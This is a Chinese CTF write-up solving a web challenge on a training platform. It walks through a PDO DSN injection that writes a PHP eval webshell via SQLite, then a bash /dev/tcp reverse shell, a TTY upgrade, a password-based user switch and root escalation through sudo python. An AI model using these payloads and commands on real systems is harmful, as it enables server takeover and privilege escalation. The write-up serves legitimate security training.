跳转至

[NewYearCTF 2025]尖头曼的礼物

题目地址:https://ctf.xidian.edu.cn/training/16?challenge=700

本题复现环境,可在寒假期间访问上面链接提供的公共环境。寒假之后,下方链接可以提供源码用于复现:https://repo.sxrhhh.top/gentleman.tar.gz, 建议复现时重点关注 Dockerfile 文件。

本题是参考了这道题这道题两个题目,算是融合一下了吧。


远程命令执行

第一步要找到题目的线索,有两处提示指引:

如果有经验的,可以直接想到 robots.txt 文件,实在没辙,那就扫描吧:

扫描提醒有 hint.txt,打开 txt 文件,可能是乱码文件,下面还有一个提示:

hint.txt
if you see messy code, try download it and reopen it as utf-8

其实就是我没有去设置编码问题,下载下来用 utf-8 编码打开就可以了。内容是:

hint.txt
如果你找到了这里,那我问你,你找到这里来干什么,你应该需要的是知道题目的源码。

那么任务就变成了找到网站的源码。这一步也没有什么技巧,凭经验或者是字典构建的好的人,可以猜到是 index.phps 。访问 index.phps ,看到如下源码:

index.phps
<?php

// $dsn = "mysql:host=localhost;dbname=test";
$dsn = $_POST['dsn'];
$username = $_POST['username'];
$password = $_POST['password'];
$query = $_POST['query'];

if (isset($dsn) && isset($username) && isset($password) && isset($query)) {

    $pdo = new PDO($dsn, $username, $password);

    $stmt = $pdo->query($query);
    $stmt->execute();
    $result = $stmt->fetchAll(PDO::FETCH_ASSOC);

    foreach ($result as $row) {
        echo "id: " . $row['id'] . " name: " . $row['name'] ;
    }

}

简单来说,就是提供了 dsnusernamepasswordquery 四个参数,然后通过 PDO 连接数据库,执行查询,返回查询结果。细心的同学可以注意到 index.phps 文件最底下,还提示有“本机没有 mysql 数据库”的字样。说明这道题不应该往 mysql 方向想。如果有经验的可以想到 sqlite ,没有经验的,我这里是计划通过我给提示来指示的。

确定了 sqlite 方向之后,我们需要就需要去了解 sqlite 的特性。具体可以参考这道题, 简单来说,sqlite 就是一个文件,我们可以存储数据在里面。

sqlite3 test.sqlite

这样的话,我们就可以创建一个 test.sqlite 文件作为数据库。而且这个数据库的后缀名是可以随意修改的,那么我们就可以设定后缀名为 php ,这样就可以写入木马了。由于 dsn 参数是由我们完全可控的,所以我们这样就可以构造一个自定义名称的 sqlite:dsn=sqlite:test.php

随后,我们需要构造一个 query 参数,用于写入我们的木马。payload 如下:

dsn=sqlite:test1.php&username=1&password=1&query=create%20table%20php(name%20TEXT%20DEFAULT%20%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%20%3F%3E%22)%3B

上面这一坨,urldecode 一下就是:

dsn=sqlite:test1.php&username=1&password=1&

query=create table php(name TEXT DEFAULT "<?php eval($_POST[1]); ?>");

不言而喻,一目了然。

执行一次之后,我们就可以访问 test1.php ,然后传入我们的 payload :

1=system('whoami');

这样就知道当前用户是 www-data 了。

本地提权

然后我们随便访问,找到 /hint.txt ,里面内容:

hint.txt
如果你攻破了我的防线,那我问你,现在有个 flag 在 /root 下,你应该如何获得他? 
给你一个一串神秘字符串:asdflkj

暂时这个神秘字符串有什么用,暂且不管,先注意到我们的 flag 是放在 /root ,也就是说,我们需要进行本地提权才可以访问 /root 目录文件。为了方便,我们需要进行反弹 shell :

首先是反弹 shell 的准备,你需要在你的 vps 上监听一个端口,比如 2333:

nc -lvvp 2333

然后就是在网页 test1.php 中执行反弹 shell 的命令:

1=system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Flocalhost%2F2333%200%3E%261%22');

这样就可以在你的 vps 上运行远程命令了。我们可以先升级一下我们的 shell, 经典的三步走先摆出来:

python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
(ctrl+z)
stty raw -echo; fg
(enter)
reset

然后开始考虑如何提权。我们想起之前的提示字符串,那可能是某种密码。试试 suroot 用户,发现密码不对。那么我们查看一下 /home 目录,发现有一个 sxrhhh 用户。我们 susxrhhh 用户,使用那个神秘字符串 asdflkj 作为密码,发现成功了。那么我们成功成为了 sxrhhh 用户,比 www-data 更高一级。

接下来我们需要考虑如何提权。先看看有没有 sudo 权限:

sudo -l

发现有一个 python 权限。说明我们被赋予了以 root 用户执行 python 的权限。那么我们就可以用这个来提权了:

sudo python -c 'import os;os.system("/bin/bash")'

这样就可以获得 /root 下的 flag 了。


文章热度:0次阅读